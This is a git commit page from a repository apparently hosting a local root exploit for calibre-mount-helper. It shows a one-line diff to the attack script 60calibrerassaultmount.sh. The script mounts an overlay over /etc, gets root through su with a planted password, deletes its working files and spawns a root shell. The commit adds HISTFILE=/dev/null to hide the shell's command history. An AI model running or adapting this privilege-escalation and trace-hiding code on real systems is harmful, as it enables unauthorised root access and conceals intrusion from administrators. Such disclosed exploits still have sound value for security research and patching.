aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-11-02 20:15:07 -0400
committerJason A. Donenfeld <Jason@zx2c4.com>2011-11-02 20:15:07 -0400
commitca98f709317241552425c3ff5b74fece2a370247 (patch)
treeb7ea2f62e2ac5212b83ce0fde8155a1ba639868f
parentAdd 60 calibrer. (diff)
downloadcalibre-mount-helper-exploit-ca98f709317241552425c3ff5b74fece2a370247.tar.xz
calibre-mount-helper-exploit-ca98f709317241552425c3ff5b74fece2a370247.zip
unset HISTFILE
-rwxr-xr-x60calibrerassaultmount.sh2
1 files changed, 1 insertions, 1 deletions
diff --git a/60calibrerassaultmount.sh b/60calibrerassaultmount.sh
index fb25104..a941a22 100755
--- a/60calibrerassaultmount.sh
+++ b/60calibrerassaultmount.sh
@@ -71,4 +71,4 @@ echo "[+] Mounting overlay to /etc using calibre-mount-helper."
calibre-mount-helper mount overlay /etc >/dev/null 2>&1
cd /
echo "[+] Asking for root. When prompted for a password, enter 'toor'."
-su -c "echo \"[+] Unmounting /etc using root umount.\"; umount /etc; echo \"[+] Cleaning up: $dir\"; rm -rf \"$dir\"; echo \"[+] Getting shell.\"; exec /bin/sh"
+su -c "echo \"[+] Unmounting /etc using root umount.\"; umount /etc; echo \"[+] Cleaning up: $dir\"; rm -rf \"$dir\"; echo \"[+] Getting shell.\"; HISTFILE=\"/dev/null\" exec /bin/sh"